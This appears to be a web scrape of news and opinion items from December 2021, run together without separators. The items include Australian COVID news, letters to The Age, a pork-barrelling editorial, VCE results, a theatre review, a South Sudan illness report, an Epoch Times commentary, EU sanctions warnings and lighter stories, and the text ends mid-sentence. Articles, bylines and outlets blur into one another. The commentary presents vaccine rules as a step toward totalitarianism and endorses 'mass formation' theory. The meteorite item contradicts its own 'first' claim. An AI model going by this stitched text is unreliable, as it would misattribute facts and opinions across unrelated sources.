tested positive for COVID-19. The directive on Tuesday night means the people who flew Newcastle to Brisbane on flight VA1105 at lunchtime on Monday, and Brisbane to Townsville on flight VA375 soon after, will spend Christmas in home quarantine. Qantas, Jetstar and Virgin Australia flights are now on Queensland Healths COVID-19 exposure site list. (File image) Credit:Glenn Hunt "We can confirm a new positive COVID-19 case has been detected in Queensland, which is linked to the exposure sites at Townsville and Brisbane Domestic Airports and the two Virgin flights," Queensland Health said on social media. It was unclear why Queensland Health had taken the unusual step of declaring all passengers on those flights to be close contacts, rather than only those in adjoining seats and rows. Danger when MPs show contempt for the public Tim Wilson (Opinion, 13/12) feigns scepticism, but it is no surprise that several independent candidates have a common complaint about the Liberals whom they hope to unseat: those MPs, including Wilson and Josh Frydenberg, uniformly fail in their primary responsibility to represent the wishes of their electorates, particularly in the area of climate change policy. The recent YouGov poll conducted for the Australian Conservation Foundation found that 71per cent of voters do not believe new coal or gas power stations should be a priority for the federal government. However, our elected representatives ignore those views and waste public money on the polluting industries of yesteryear instead of investing wisely for a stable climate and safe future. It is true that citizens are tired of voting records that demonstrate slavish support for fossil fuel companies and contempt for the wishes of the people our MPs are supposed to represent. Julia Croatto, Kew We need to force the big parties to listen to us Tim Wilson misses the point. Many voters are tired of a two-party system that includes the Coalition which is beholden to large corporations, and the ALP which is too scared to announce decent policies for fear it may lose voters. By electing an independent, I am expecting the major parties will be forced to listen to the wishes of local communities. Robert Preston, McKinnon Coalition seats are at risk from independents I was interested in Tim Wilsons observations about the crop of independents trying to enter federal parliament at the next election. His assertion that these candidates will take votes from either ALP or Greens candidates, and not Coalition candidates, must be challenged. He overlooks the obvious fact that all independents in the House of Representative bar one (Andrew Wilkie) hold seats that were previously Coalition seats. It was also former Coalition seat holders who supported the minority Gillard government. I suppose if you believe something hard enough it might come true, Tim Wilson. Steve Griffin, West Coburg THE FORUM Need for public scrutiny Re Coalition seats win big in $2.8 billion grants plan (The Age, 15/12). Congratulations on achieving what Finance Minister Simon Birmingham, with all the resources of his department, claimed was not possible. His reticence is understandable given the brazen political favouritism in deciding which electorate benefits from taxpayers money. It is a form of bribery verging on corruption. The fact that this practice is widespread and longstanding does not mitigate its pernicious undermining of democracy. It should no longer be tolerated, and the allocation of taxpayer-funded grants should be decided by an independent, non-politically aligned body based on prioritised community needs, with all details, including selection rationale, beneficiaries, funds etc, easily available for public scrutiny. Leslie Chester, Brighton ICACS first big job Presumably the cattle in the Augean stables led happier, healthier, more productive lives after Hercules cleaned their quarters for the first time in 30 years. So when is our Hercules coming to Canberra to clean out the Parliamentary stables? Maybe by proxy through a federal anti-corruption commission? Dealing with all those barrels of pigs would be a truly heroic feat. Elaine Hill, Warrnambool Holding elites to account Your commendable investigative piece on funding in coalition seats goes right to the heart of everything that is wrong with governments in Australia. The damning figures paint a disturbing picture of dirty deals at the highest levels. The story is also a solemn reminder of the fourth estates integral role in ensuring powerful elites are held to account. Matt Dunn, Leongatha Community comes last A broken grants system? Rather it is large-scale corruption by the federal government using taxpayers money to buy votes and retain power. Integrity and best interests of the broader community do not get a look-in. It is outrageous and shameful. Anne Sgro, Coburg North The voters responsibility It is sickening to read that Coalition-held seats receive more than three-and-a-half times the grant money as Labor seats. But what if those living in these unfairly privileged electorates said: My vote cannot be bought. I choose to vote for the party that offers the greatest equality, integrity and honesty? David Mandara, Hepburn Springs Why bother touching on? Your article says public transport use has fallen sharply in every major city, even in centres such as Perth where disruptions caused by COVID have been minimal (The Age, 14/12). How were passengers counted in Melbourne? Please do not tell me it was by the number who touched on with Myki. For many who use trams and buses, it seems to be a free service. Bev Touzel, Carlton North Unseasonal greetings A good friend of mine has lived for some years in comfortable and pleasant 1970s public rental housing in Port Melbourne, just opposite the expensive, private Beacon Cove estate. On Tuesday she and her fellow tenants received a letter, dated December 4, advising them that they will be required to relocate next year and their housing will be demolished. Oh yes, someone knocked on her door from Homes Victoria the day before but, by the time she answered it, they had left clearly not understanding how long it takes for someone with chronic health problems to get up and answer the door. So much for their understanding of vulnerability. Oh yes, Homes Victoria will be offering housing somewhere else. That will make everything all right not. Ironically, it does not understand the difference between housing and home. Shame on the ALP. Tim Gilley, South Melbourne Never ending sacrifices I wholeheartedly agree with Joan Logans comment that nurses who want to upskill to ICU positions should be supported by commonwealth subsidies (Letters, 14/12). As well as the $15,000 course fee, they also give up a days pay every week to attend university. We are asking them to make even more sacrifices. Gladys Grigg, Forest Hill More details, please A heartfelt plea to all news services print, radio, television etc. When reporting on tornadoes in the US, could you please list the states which are affected. Not just five states were impacted but Kentucky was the worst hit. Many of us have family and friends in those states and it is always a heart-in-mouth scramble to contact them and find the relevant information. Georgina Simmons, Mornington Sick double standards What a sick world we live in. Tornados rip through the US, destroying property and injuring and killing people, and the world cries and expresses its sorrow. Meanwhile, the superpowers keep making nuclear weapons to do the same or worse and no one gives a damn. The hypocrisy is breathtaking. Stan Thomson, Sandringham Raking in the fees I can vouch for the validity of Stephen Ducketts concerns Home care hit with $1billion admin blowout (The Age, 13/12). The provider administrating my fathers level-4 home care package is charging a third of it in fees ($1130 per month out of approx $4000 per month). This fee has doubled in the last 12 months and bears no resemblance to the fees indicated on the My Aged Care website for comparing providers. If the Grattan Institute is using data from that site, the real situation is much worse. I and my family organise the staff, rosters and services needed to meet my fathers particular needs. The company appears to do absolutely nothing other than handle invoices once per month from our three service staff. In addition, the company refuses to provide an invoice for its work. The actual coal-face providers are paid appallingly, but the private money managers are raking it in. The system is broken. Catherine McDonald, Sunshine Celebrating our music It was great to see such a comprehensive article by Martin Boulton covering the sad loss of seminal Melbourne musician John Nolan (Arts, 15/12). Through EG, Sticky Carpet, album reviews and the like, The Age used to be such a strong supporter of the Melbourne music scene, but recently this support has been lacking in a time that musicians and fans need it the most. I can only hope this article is the beginning of a return to days of old when The Age was at the forefront of chronicling, reporting on and celebrating one of the worlds most vibrant live music scenes Melbourne. Ben Cornall, Mount Martha Sincerely reaching out Peter OBrien asks: Who else remembers when yes and move was said instead of absolutely and transition? He forgot the new, touchy-feely and sickening expression used in place of contacting or phoning reaching out to. Margaret Ady, Avondale Heights Time to control drones On Tuesday, my 74-year-old wife was riding her bicycle along the Yarra when, out of the blue, she was hit by a drone. Fortunately she is a skilled rider and managed to avoid a nasty spill. The clown operating the thing called out to her, asking if she was unhurt. My wife, being a gentle soul, called out that she was OK but suggested that the operator be more careful in future. As it turned out, she had a cut on her forearm, but only noticed it a few minutes later. What are the laws specific to this situation? In this case, the drone was being operated in a high traffic area with many cyclists, rowers and pedestrians. Getting hit by one of these annoying things is not much fun, not to mention highly dangerous if one happens to be on a bicycle. If I had been there I would have grabbed the bloody thing and thrown it in the Yarra. Ray Lewis, Carlton North Labors muted voices Sean Kelly (Opinion, 13/12) has gone right to the heart of Labors problem. If it has a compelling message it is not getting through. Kelly says Labor must make climate change the issue. Most voters understand that the planet is in danger. The Coalition seems committed to doing as little as is politically possible. Labor knows what it should do but is too scared to say it. If it decides to seize the moment, it needs voices people will listen to. Anthony Albanese is surrounded by talent Tania Plibersek, Chris Bowen, Jim Chalmers, Tony Burke, Penny Wong, Clare ONeil. Bring them forward. I am not sure people are listening to Albanese. Paul Ormonde, Northcote A future investment Our British ancestors caused tragic loss for the First Nations people human lives and land. Hence, the First Nations people paid a barbaric price. If reconciliation costs as well, so be it. That said, if we consider the long-term vision, those who play the monetary card are ignoring that changing the name of the Moreland City Council (The Age, 15/12) can be viewed as future investment. Social cohesion drives economic wealth, the experts say. So really, such a prosaic financial argument against getting rid a name that echoes slavery falls flat. Anna den Hartog, Coburg Proof of all three jabs The digital vaccination certificate only shows the last two vaccinations received. I had my booster on Monday, so my first vaccination no longer appears. An overseas customs officer might deduce from the gap between the vaccinations that one of them is a booster, but it is not the same as being able to view all three. Anthony Redden, South Yarra Blame Mr Howard Your correspondent (Letters, 14/12) suggests the letter H is pronounced as an un-aspirated aitch. She forgets the John Howard effect: the growth of the aspirational class. James McDougall, Fitzroy North AND ANOTHER THING Credit:Illustration: Matt Golding Politics The Liberal Party, the party that just keeps giving to itself (15/12). Dirk van Florestein, Geelong Your analysis further exposes endemic corruption, not just trivial pork-barrelling. Outrageous. Rosemary Kiss, Rippleside How good is cheating? John Bye, Elwood Make sure you analyse grants under state and (prior) federal Labor governments. I think youll find Labors friends are way out in front. Helen Leach, Bendigo A broken grants system equals institutionalised corruption equals a banana republic. Chris Young, Surrey Hills Re the multi-billion dollar grant system. Rent a pollie? Ralph Tabor, Pakenham Why is Morrison promising tax cuts? Doesnt he realise it will result in less money for the Coalitions traditional pork barrelling? Vivien Wertkin, St Kilda Yippee. Gazillions to be spent on self-propelled artillery systems just when my home-made catapult was on its way out. Harvey Mitchell, Castlemaine If only the ABCs Total Control was a documentary rather than a work of fiction. Maria Nield, Richmond Mr Palmer and Mr Kelly, what are you actually proposing to do for the voters in Australia? Iain Carmichael, Richmond Heritage groups, architects and residents fear the character of Shell House is at risk of destruction after Planning Minister Richard Wynne called in an application to redevelop it under the Heritage Act. The acclaimed 28-level skyscraper at the corner of Flinders and Spring streets, which was designed by world-renowned architect Harry Seidler, is heritage-listed and one of Melbournes most awarded pieces of architecture. Spring Street resident Elizabeth Loftus, is concerned about the proposed tower to be built over and around heritage buildings at 1 Spring Street. Credit:Chris Hopkins However, the National Trust, the Australian Institute of Architects and residents are concerned the buildings aesthetic will be ruined after an application to demolish part of the building and construct a second 33-storey office tower was called in by Mr Wynne. Shell Houses owners, the Besen and Roth families, want to dig up the rear plaza in Flinders Lane and build a second tower, standing apart from Shell House but linked with it via a sky bridge at the 15th level. Mac.Robertson Girls High School Principal Sue Harrap said the online learning practices developed in three months throughout the pandemic would normally take in a school five years to refine. The desire to learn and evolve and adapt has been just so strong. And the change in teaching and learning practice has happened so rapidly, she said. Weve found new technologies, weve found new ways of doing things and weve gotten ready for the next run. We were hoping moving into 2021, that we wouldnt have to use them. Mac.Robertson Girls High School student Krishna Rajasingam-Roshan, Principal Sue Harrap, and school captain Alexa Kalathoo Credit:Ellie Mitchell Mac.Robertson School Captain Alexa Kalathoor said the online learning in 2020, when she was in year 11, allowed her a practice run for the form her learning would take in her final year. As much as this year was unexpected, and we thought everything was going to go back to some sort of normalcy, I think we were a bit better prepared and learned a lot of resilience and grit and all those skills that will come in handy for the future, she said. Mac.Robertson students were able to fit in some in-person year 12 experiences between lockdowns, like the senior formal and a valedictory celebration. Those times where we were able to connect in person and have those things or that were a typical year 12 experience are really amazing, and things that were going to remember for a long time, said Miss Kalathoor. For Ms Harrap, she said she was proud and emotional looking back over an extraordinary year. I feel gutted that theyve missed the oxygen of those final years but we hope that we have in some way created that for them in the best way that we possibly could, she said. Fighting back tears, Ms Harrap offered a heartfelt message to her students. Youre just an inspiration. You are the thing that keeps us ticking along, she said.Theyve made us keep striving to do better and better because thats what theyve been doing. After almost 650 days as a VCE student and 267 days in lockdown the class of 2021 will be dwelling on a different number this morning. At 7am, 50,723 bleary-eyed but nervous year 12 students will be able to view their VCE results and Australian Tertiary Admission Rank, which is used to gain entry to university, and 14,066 students will receive their VCAL. Freya Van Dyke, a year 12 student at Fitzroy High School, is nervous about her VCE results but is glad she has an alternative to the ATAR. Credit:Justin McManus Thirty-nine brilliant students achieved the maximum possible ATAR ranking of 99.95 this year, including 28 boys and 11 girls, but in general, girls outperformed boys, with an average ranking of 70.6 against 67.62. Among those graduating is Freya Van Dyke, a year 12 student at Fitzroy High School, who has already decided to take a break from study and spend 2022 working and travelling. Voters have always suspected that politicians will buy their way to power if given the chance. Now we have a forensic study that proves how todays politicians are taking every chance they can get. The brazen, systemic bias is revealed in the tally of $2.8 billion in grants that can be traced to a tick of approval from Prime Minister Scott Morrison and his ministers. The spending is so warped that voters on opposite sides of a suburban street can pay the same tax but get a vastly different slice of the spoils if they live in different electorates. Everything will depend on which seat the Liberals and Nationals think they can win. Australian democracy has been resilient since federation but this bribery is growing unchecked like a political weed, spreading so fast it could smother Parliament House in lantana. The spending is out of control deliberately, because those who sign the grants do not want questions later. The Yarra River is a symbol of Melbournes social, political and economic divide. Travel from east to west and the differences become evident, including as to which political party is dominant. But what has not been apparent until The Ages exhaustive investigation into pork-barrelling is the gross imbalance in the amount of money flowing from the federal government to either side of the river. The examination undertaken by our journalists Shane Wright and Katina Curtis of 19,000 federal grants over the past three years has revealed that the nine Liberal electorates east of the Yarra River have shared in more than $86 million while the nine Labor-held seats to the west have shared just $14 million. Finance Minister Simon Birmingham claimed it wasnt possible for his department to determine into which electorates flowed billions of dollars of grants overseen by ministers. Credit:Alex Ellinghausen/Mark Stehle Few would be naive enough to think pork-barrelling does not occur, to some extent, within most governments. Political parties are often tempted to favour voters who support them, and grants are a real and tangible way to show gratitude for that loyalty. But any rational person would also expect that this would be tempered by some semblance of reasonableness, an attempt to match financial largesse to the economic and social needs of the electorates. For the Morrison government, this has been thrown out the window. The amount of money being shovelled by the Coalition into its own electorates and the marginals it hopes to win is staggering. Nationwide, Coalition-held seats received more than $1.9 billion over three years while Labor electorates got just under $530 million. That is a mind-boggling disparity and, when you factor in the amounts being funnelled into particularly wealthy electorates, it is a scandalous misallocation of taxpayer dollars. The original version of Dion Boucicault's 1857 play The Poor of New York called for part of its set, a New York City tenement building, to be consumed by fire at the end. That was the kind of sensational theatrics that audiences craved back in the day. And it's not hard to understand why. Boucicault's melodrama lacks plot surprises, character development, and believable dialogue. And it's why the Irish-born playwright's works are rarely produced nowadays without big changes to help make them palatable to modern audiences. That, presumably, was part of the reason director Charlotte Moore added musical numbers to the play in 2001, when Irish Repertory Theatre first staged its tuneful adaptation, retitled The Streets of New York. Even with song and dance added in, the show is still a hard sell. But thanks to a talented cast that, for the most part, leans into the camp potential inherent in the play's absurdly artificial language, this current revival avoids going completely up in flames. The convoluted plot revolves around several New York City individuals and families who have been plunged into penury by the economic collapses of 1837 and 1857 and who are hounded by the evil banker Gideon Bloodgood (David Hess). Once-wealthy gentleman Mark Livingston (Ben Jacoby) reveals to the struggling baker Mr. Puffy (Richard Henry) that he has lost his fortune, and confides that he is in love Lucy Fairweather, whose family's inheritance was stolen by Bloodgood. Bloodgood's daughter, the conniving Alida (Amanda Jane Cooper), wants to be admitted into high society but is prevented by her father's bad reputation, so she tries to destroy Mark and Lucy's relationship to marry Mark herself. Meanwhile, the artful Badger (Justin Keyes) tries to blackmail his former boss Bloodgood with evidence of his theft of the Fairweathers' inheritance. Through a series of histrionic scenes involving attempted suicide (Amy Bodnar as Susan Fairweather is especially good here), a soft-shoe number between Bloodgood and Badger ("Villains"), and a fire-free re-creation of that tenement conflagration (impressive set design by Hugh Landwehr), the blackguard Bloodgood is exposed, couples are united, the poor are restored to solvency, and we are sent back into the world with a song of hope and togetherness ("Take Your Brother's Hand"). The cast of The Streets of New York: Price Waldman, Ryan Vona, Jordan Tyson, Polly McKie, Richard Henry, Daniel J. Maldonado, Amanda Jane Cooper, David Hess, Ben Jacoby, DeLaney Westfall, Justin Keyes, and Amy Bodnar. ( Carol Rosegg) It's not obvious at the beginning of this show that we're in for any fun at all. When a gloomy swirl of New York's poor come onstage in the opening number, "The Streets of New York," and the five-piece orchestra (directed by Mark Hartman) plays a haunting melody that sounds oddly similar to the opening of Sweeney Todd, there's a tense moment when we fear that this production might not be going for laughs but instead might be testing our ability to endure a humorless two-and-a-half-hour period piece. Fortunately, by the third number, "Oh How I Love Being Rich," sung by Cooper as the delightfully wicked Alida attired in an ornate hoop dress (splendid costumes by Linda Fisher), we begin to relax. Her over-the-top performance tells us, a little late, that Moore is not taking the script at face value. Other humorous tunes soon follow, including the quirky and cute love song "He Doesn't Know I'm Alive," sung by young lovers Dixie Puffy (Jordan Tyson) and Paul Fairweather (Ryan Vona). The production, we realize, will try to be a comedy after all. Sometimes it succeeds at that, and sometimes not. Moore's music is not especially memorable either, but it keeps the otherwise languorous plot trotting along. Polly McKie joins Tyson and Henry for the hummable "A Taste of the Good Life," while Cooper and Daniel J. Maldonado as the Duke whip things into a tangolike frenzy (choreography by Barry McNabb) in "Bad Boys." Price Waldman completes the cast with his understated comic timing at the butler, Edwards. By the end, the cast really gets the camp fire crackling. If only it had been going the whole time. Batavia, NY (14020) Today Windy. Snow this evening will give way to snow showers overnight. Low 23F. Winds W at 20 to 30 mph. Chance of snow 80%. 1 to 3 inches of snow expected. Heavier amounts in persistent snowbands.. Tonight Windy. Snow this evening will give way to snow showers overnight. Low 23F. Winds W at 20 to 30 mph. Chance of snow 80%. 1 to 3 inches of snow expected. Heavier amounts in persistent snowbands. Medical staff inside the isolation ward of Ministry of Health Infectious Disease Unit in Juba, South Sudan, in a file photo (Alex McBride/AFP via Getty Images) 89 Africans Killed by Mystery Illness in South Sudan: WHO The World Health Organization (WHO) says it has sent a rapid response team to South Sudan following the deaths of almost 100 people from a yet-to-be-identified disease. Sheila Baya, a spokesperson for the WHO, told the BBC on Dec. 14 that the illness has killed at least 89 people in South Sudans Jonglei state. We decided to send a rapid response team to go and do risk assessment and investigation; that is when they will be able to collect samples from the sick people but, provisionally, the figure that we got was that there were 89 deaths, Baya said. However, the WHOs response has been complicated by recent severe weather and flooding in Fangak, the epicenter of the mysterious new disease, Baya said. A local South Sudanese health official told Baya that initial samples collected in the region returned negative tests for cholera, a bacterial disease thats often associated with flooding. WHO hasnt issued a statement about the disease, and Baya provided no other details. International charity Medecins Sans Frontieres (MSF), or Doctors Without Borders, which operates in South Sudan, said the flooding has ramped up pressure on health facilities. We are extremely concerned about malnutrition, with severe acute malnutrition levels two times the WHO threshold, MSF said, and the number of children admitted to our hospital with severe malnutrition doubling since the start of the floods. The United Nations has also described the recent flooding as the worst in decades, affecting more than 780,000 people in the region. Women, children, and elderly people arrived exhausted and hungry, Arafat Jamal, the United Nations High Commissioner for Refugees (UNHCR) representative in South Sudan, said in October about the flooding. Some had not eaten in days. Others are marooned on islands surrounded by water, sheltering under trees, and unable to cross to safety. Women are deeply worried about the health of their children, with the increased risk of infections from deadly water-borne diseases. Shumon Sengupta, country director in South Sudan for the humanitarian group Concern Worldwide, further elaborated on the situation in the country, which split from Sudan about a decade ago. The magnitude of the flooding this year has been immense. Over 200,000 people, more than a quarter of the local population in Unity State have been forced to leave their homes as a result of rising floodwaters, he said in a statement. Families have been displaced and are sheltering on higher ground, in public buildings, or with neighbors or family. Access to basic services including health and nutrition support has been disrupted as clinics have been damaged, submerged in floodwaters, or are inaccessible. Another Step Towards Totalitarianism in Australia? Commentary The scenes at the re-opened Queensland border, after being closed for several months, were almost ecstatic. There were tears, cheers, and smiles when residents crossed the threshold to return to their state of residence. Smiling politicians congratulated themselves, pointing out that the border re-opened on Dec. 13, four days ahead of the previously announced schedule. The euphoria is undeserved since it is hardly appropriate to celebrate when a government doles out a limited amount of free movement, which until two years ago, was a birthright of all Australians. Under the new rules, only fully vaccinated people are allowed to enter Queensland, provided they have completed and received a Queensland entry pass, which they can apply for online. In addition, if travellers come from declared hotspots, such as Melbourne or Sydney, they also must return a negative COVID-19 result within 72 hours of their entry into Queensland. There is thus no reason to celebrate, considering that the ruling government forfeited one of the most basic of rightsfreedom of movement. Freedom of movement is protected in Article 13 of the International Covenant on Civil and Political Rights, but conveniently abrogated by Australian state governments. The abrogation of free movement is truly confronting, considering that nowhere in the world did governments adopt a rule that residents could not even return to their own state of residence, and their homes, simply because they found themselves on the other side of a state border. However, the scenes of happiness at the re-opening of Queensland indicated that people were genuinely grateful, if relieved, that the ruling political class decided to open the border ahead of schedule. A couple reunite with family members after they arrived on the first flight from Sydney into Brisbanes domestic terminal since border restrictions have eased overnight in Brisbane, Australia, on Dec. 13, 2021. (Dan Peled/Getty Images) Any reasonable person would have expected that the sanctimonious politicians would be shamed for immorally treating people without compassion and disdain for several months. The reality is, that from Dec. 17, a minority of people will be treated as second-class citizens in Queensland, not criminal enough to be jailed, but not innocent enough to participate in the daily activities of normal life. They will be discriminated against brutally on the ground of vaccine status. The ruling political class is responsible for the creation of a two-tier Australian society, which has abandoned the equality that was part of the Australian culture and tradition since federation. Now, some people are more equal than others, involving the distribution of burdens and benefits simply on the ground of peoples vaccine status. The predictable unpredictability, which is so typical of the imposition of health orders, is challenging those who want to return Australia to the stable, egalitarian, country it once was. The intrusive intervention of the health bureaucracies and compliant businesses into the lives of law-abiding citizens reveals that governments have shamelessly embraced paternalism as a principle of legislation. The implementation of this principle results in the imposition of invasive health decisions, which individuals should be making themselves. These bureaucracies and politicians are, in effect, embracing the Nanny State which seeks to achieve its objectives by prescriptively controlling, forbidding, or compelling the behaviour of individuals. Protests against government-mandated COVID-19-related health restrictions and the impending Pandemic Management Bill in Melbourne, Australia, on Nov. 20, 2021. (Armstrong Lazenby) So, the question should be asked: What could people do, if anything at all? For months now, some people have tried to understand the reasons as to why people do not rebel against the creeping totalitarian oppression. However, I came across an article by Ashley Sadler, a Florida-based journalist for LifeSiteNews, who comments upon the views of Prof. Mattias Desmet of the University of Ghent in Belgium, who has proposed an answer to this question. Desmet, a clinical psychologist, has argued that historical analysis shows that so-called mass formation can be the first step toward totalitarianism and atrocity in the name of collective welfare. For Desmet, the response to the COVID-19 pandemic is an example of the psychological concept of mass formation, a kind of broad scale hypnosis that causes large groups of people to band together to fight a common enemy with complete lack of concern for the loss of individual rights, privileges, and even well-being. It leads to a kind of mental intoxication of connectedness, which is the real reason why people continue to buy into the narrative, even if its utterly absurd or blatantly wrong. Specifically, he surmises that people might support these discriminatory health orders to exonerate their own failures and frustrations. For them, the COVID-19 virus is a convenient way to explain their own lack of success. Commentators may well disagree with Desmet, but his views will resonate with many people because what he says is instinctively plausible. Sadler notes that, Discriminatory lockdowns, show me your papers policies, mandatory quarantines for healthy people, and incomprehensible police brutality against anti-lockdown protesters who merely want their lives back have demonstrated that those who worried more about the creeping rise of a totalitarian health dictatorship were far more correct than those who panicked about what was supposed to be the worst pandemic since the Spanish flu. She rhetorically asks why does our luxurious modern society appear to be marching toward the demonization and ostracization (or worse) of those opposed to the dominant regime? A law, recently adopted by the Victorian Parliament exemplifies that Australia is on the way to attuning people to a totalitarian mindset which is uncritically supportive of government. Protestors are seen during a demonstration outside the Victorian State Parliament in Melbourne, Australia on Nov. 15, 2021. (AAP Image/Con Chronis) The Public Health and Wellbeing Amendment (Pandemic Management) Bill 2021 is a particularly odious attempt to denigrate Australias democratic institutions. It gives the premier unprecedented power to rule by decree without having to seek the prior approval of Parliament. The legislation even allows differentiation between people on the ground of their vaccine statusprecisely what is happening in Queenslandwhile claiming that the legislation is consistent with Victorias Charter of Rights. The minister of health would be able to make health orders under this radical anti-democratic legislation to better fight the COVID-19 pandemic and future pandemics. Dec. 17 will undoubtedly become an ignominious day in the history of Queensland and, certainly, a first step towards the inexorable march to totalitarianism in Australia. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. European Commission President Ursula von der Leyen delivers a speech during a plenary session at the European Parliament in Strasbourg, eastern France, on Dec. 15, 2021. (Julien Warnand/Pool Photo via AP) Any Aggression Against Ukraine Will Lead to New Massive Sanctions, EU Warns Russia The head of the European Unions executive commission warned Russia on Dec. 15 that the 27-member bloc has additional sanctions ready if Moscow would invade neighboring Ukraine. I want to reaffirm our unwavering commitment to Ukraines sovereignty and territorial integrity, Ursula von der Leyen told EU lawmakers on Wednesday, expressing concern over reports of Russias massive build-up of military aid along Ukraines eastern border. Von der Leyen told the European Parliament that there are already economic sanctions in place targeting multiple Russian sectors due to the countrys annexation of Ukraines Crimea Peninsula in 2014 and actions since that the West sees as increasingly aggressive. Of course, we would want good relations with Russia. But this depends on Russias behaviour. I call on Russia to de-escalate, pursue diplomatic channels and abide by international commitments. The place to solve conflicts is the negotiation table. pic.twitter.com/PGyc52NMWZ Ursula von der Leyen (@vonderleyen) December 15, 2021 Theres a whole set of economic sanctions in place targeting the financial and energy sector, dual-use goods, and defense, Von der Leyen said. Our response to any further aggression may take the form of a robust scaling-up and expansion of these existing sanctions, she added. And of course we are ready to take additional, unprecedented measures with serious consequences for Russia. She did not elaborate on what form any new sanctions would take. Also on Wednesday, Ukraines Security and Defense Council Secretary Alexey Danilov told news agency Reuters that there is no evidence Moscow is preparing for an imminent invasion. Nothing has changed [over the last few days on the Russian-Ukrainian border], Danilov said during an interview with the network. There has been some increase in [Russias] troop numbers but not critical enough for us to say: this is it, it [an invasion] is going to happen now, he added. Von der Leyens warning comes days after the Group of Seven (G-7) on Dec. 12 induced a similar warning after it held a two-day summit in the English city of Liverpool. G-7 Foreign and Development Ministers pose for a group photo in Liverpool, England, on Dec. 12, 2021. (Olivier Douliery/Pool via AP) The foreign policy chiefs from the United States, the United Kingdom, Canada, France, Germany, Italy, Japan, and the European Union, called on Russia to deescalate, pursue diplomatic channels, and abide by its international commitments on transparency of military activities. Any use of force to change borders is strictly prohibited under international law, they said. Russia should be in no doubt that further military aggression against Ukraine would have massive consequences and severe cost in response. The warnings come amid rising tensions over a Russian troop buildup on the Ukrainian border, which is seen as a sign of a potential invasion. Ukrainian officials have estimated that more than 90,000 Russian troops are massing near the border in Russian-occupied Crimea, and have said they believe an attack is imminent. They have asked the United States and other countries for help defending the countrys borders. The Kremlin has repeatedly denied all Western accusations, saying it does not plan any attack on Ukraine, and assertions about a possible attack are lies. There are no grounds for these assertions, Russias Federation Council Speaker Valentina Matviyenko told reporters earlier this month. They are lies, nonsense and it is dirty politics. The Associated Press contributed to this report. From NTD News Arkansas Waitress Claims She Was Fired After Receiving $4,400 Tip Alongside Co-Worker An Arkansas restaurant waitress was allegedly fired from her job after receiving a generous tip of $4,400 from a group of diners. Ryan Brandt was one of two servers waiting on a party of more than 40 people at the Oven and Tap in Bentonville on Dec. 6, when each person left a $100 dollar tip for a collective amount of $4,400 for the two waitresses. The tip was part of the groups $100 Dinner Club which they made because they wanted to bless the servers who waited on our party that night, according to one member of the group, Grant Wise, who owns real estate company Witly. Wise posted video footage on Instagram of the moment he announced the tip to Brandt, and explained that the other server had gone home early because they werent feeling well. The waitress can be seen breaking down in tears as he tells her she will be receiving the generous gratuity. Everybody at this table has contributed or tipped $100 for you and for the other waitress, Wise said in the video. We put it out to our social media channels, and we actually had quite a bit more money sent in, so we are tipping a total of $4,400, Wise said as the table erupted in cheers. However, what started as a heartfelt gesture quickly turned sour after Brandt claimed she was told by her manager that she would have to split the money with the rest of the restaurant staff who were not waiting on Wises table that night. I was told that I was going to be giving my cash over to my shift manager, and I would be taking home 20 percent, Brandt told Fox KNWA, adding that in her three-and-a-half years of working at the restaurant, that had never happened before. In a GoFundMe page that Wise has since set up to help Brandt get back on her feet, he claims that he called the Oven and Tap restaurant in advance of the meal, both to reserve a table and check its policies regarding tip sharing or tip pooling. After confirming no such policy was in place, he went ahead and booked his table. But it was not his intention for the tip to be shared among all of the restaurant staff, he said. We went back to O+T and got the tip money back and tipped the servers directly outside of the restaurant to make sure they got their money. We tried to contact the owner in an effort to ensure that everything was going to be ok but were unable to connect with her outside of a few text messages that eventually stopped, Wise wrote. However, Brandt was allegedly fired from her job for violating the companys policy by informing Wise about pooling the tips. It was devastating, I borrowed a significant amount for student loans. Most of them were turned off because of the pandemic but theyre turning back on in January and thats a harsh reality, Brandt said. The Epoch Times has contacted a spokesperson for the Oven and Tap for comment. We then learn a few days later that Ryan, the main server in our video, was fired for telling us what O+T was doing. I proceeded to set up a GoFundMe campaign to help the server get through the next couple of months and to hopefully find a new job opportunity, Wise wrote. In a follow-up post published on Dec. 9, Wise explained that Brandt had since been offered a new job with a different local restaurant and had started her first shift on Dec. 8. A spokesperson for Oven and Tap told Fox KNWA: After dining, this large group of guests requested that their gratuity be given to two particular servers. We fully honored their request. Out of respect for our highly valued team members, we do not discuss the details surrounding the termination of an employee. The Inspiration4 crew of Chris Sembroski, Sian Proctor, Jared Isaacman, and Hayley Arceneaux poses while suited up for a launch rehearsal in Cape Canaveral, Fla., on Sept. 12, 2021. (Inspiration4/John Kraus/Handout via Reuters) Astronaut on SpaceXs Inspiration4 Mission Took a Meteorite to Space and Back, in a First Tesla Inc. CEO Elon Musk-led SpaceXs all-civilian crew took a piece of an ancient meteorite to space back during its three-day trip to space and back in September, revealed astronaut Sian Proctor. Proctor in a Twitter post revealed she was able to take a meteorite to space during the all-civilian Inspiration4 mission earlier this year. I got to bring a meteorite to space with @SESEASU and @ASUMeteorites. This is the first meteorite brought back to space!! Thank you @minwadhwa for loaning me this beautiful space rock! One of the many reasons I being a Sun Devil!! @ASU @inspiration4x #Space2inspire https://t.co/hG64ZAuhrJ pic.twitter.com/cb3eViLd5X Dr. Sian Leo Proctor (@DrSianProctor) December 10, 2021 Proctor, who is a geoscientist and an entrepreneur, shared a 14-second clip with the post. The video showed the piece of a Barringer Crater, also known as Meteor Crater, a 0.8-mile diameter, 570-feet deep hole in the flat-lying desert sandstones of Arizona. The initiative was a collaboration between SpaceX and the Arizona State University that allowed Proctor, an alumnus of the institution, to fly the fragment to space. Proctor also tagged the universitys professor and director Meenakshi (Mini) Wadhwa in the post and thanked her for making the initiative possible. Wadhwa clarified in a response to the post that it is indeed the first asteroidal meteorite to journey back to space and then make the trip back again to Earth after some said that the feat has been achieved before. I got to bring a meteorite to space with @SESEASU and @ASUMeteorites. This is the first meteorite brought back to space!! Thank you @minwadhwa for loaning me this beautiful space rock! One of the many reasons I being a Sun Devil!! @ASU @inspiration4x #Space2inspire https://t.co/hG64ZAuhrJ pic.twitter.com/cb3eViLd5X Dr. Sian Leo Proctor (@DrSianProctor) December 10, 2021 A piece of a meteorite was sent back to back to space and Mars in 2013. Proctor and three others were part of the Inspiration4s all-civilian crew that took the round trip. The mission was led by billionaire entrepreneur Jared Isaacman, founder and CEO of e-commerce firm Shift4 Payments Inc.. Other astronauts included Hayley Arceneaux, a physician assistant at St. Jude Childrens Research Hospital who is also a childhood cancer survivor, Chris Sembroski, an Air Force veteran, and aerospace data engineer, 